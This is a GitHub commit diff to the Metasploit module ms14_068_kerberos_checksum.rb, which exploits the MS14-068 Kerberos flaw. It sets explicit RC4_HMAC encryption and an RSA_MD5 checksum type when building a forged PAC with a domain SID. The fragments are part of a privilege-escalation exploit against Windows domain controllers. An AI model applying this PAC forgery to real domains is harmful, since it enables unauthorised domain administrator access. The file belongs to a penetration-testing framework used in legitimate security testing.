Skip to content

Commit a7faf79

Browse files
committed
Use explicit encryption algorithms
1 parent f37cf55 commit a7faf79

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ def run
5858
password_digest = OpenSSL::Digest.digest('MD4', unicode_password)
5959

6060
pre_auth = []
61-
pre_auth << build_as_pa_time_stamp(key: password_digest)
61+
pre_auth << build_as_pa_time_stamp(key: password_digest, etype: Rex::Proto::Kerberos::Crypto::RC4_HMAC)
6262
pre_auth << build_pa_pac_request
6363
pre_auth
6464

@@ -99,6 +99,7 @@ def run
9999
domain_id: datastore['DOMAIN_SID'],
100100
realm: datastore['DOMAIN'],
101101
logon_time: logon_time,
102+
checksum_type: Rex::Proto::Kerberos::Crypto::RSA_MD5
102103
)
103104

104105
auth_data = build_pac_authorization_data(pac: pac)

0 commit comments

Comments
 (0)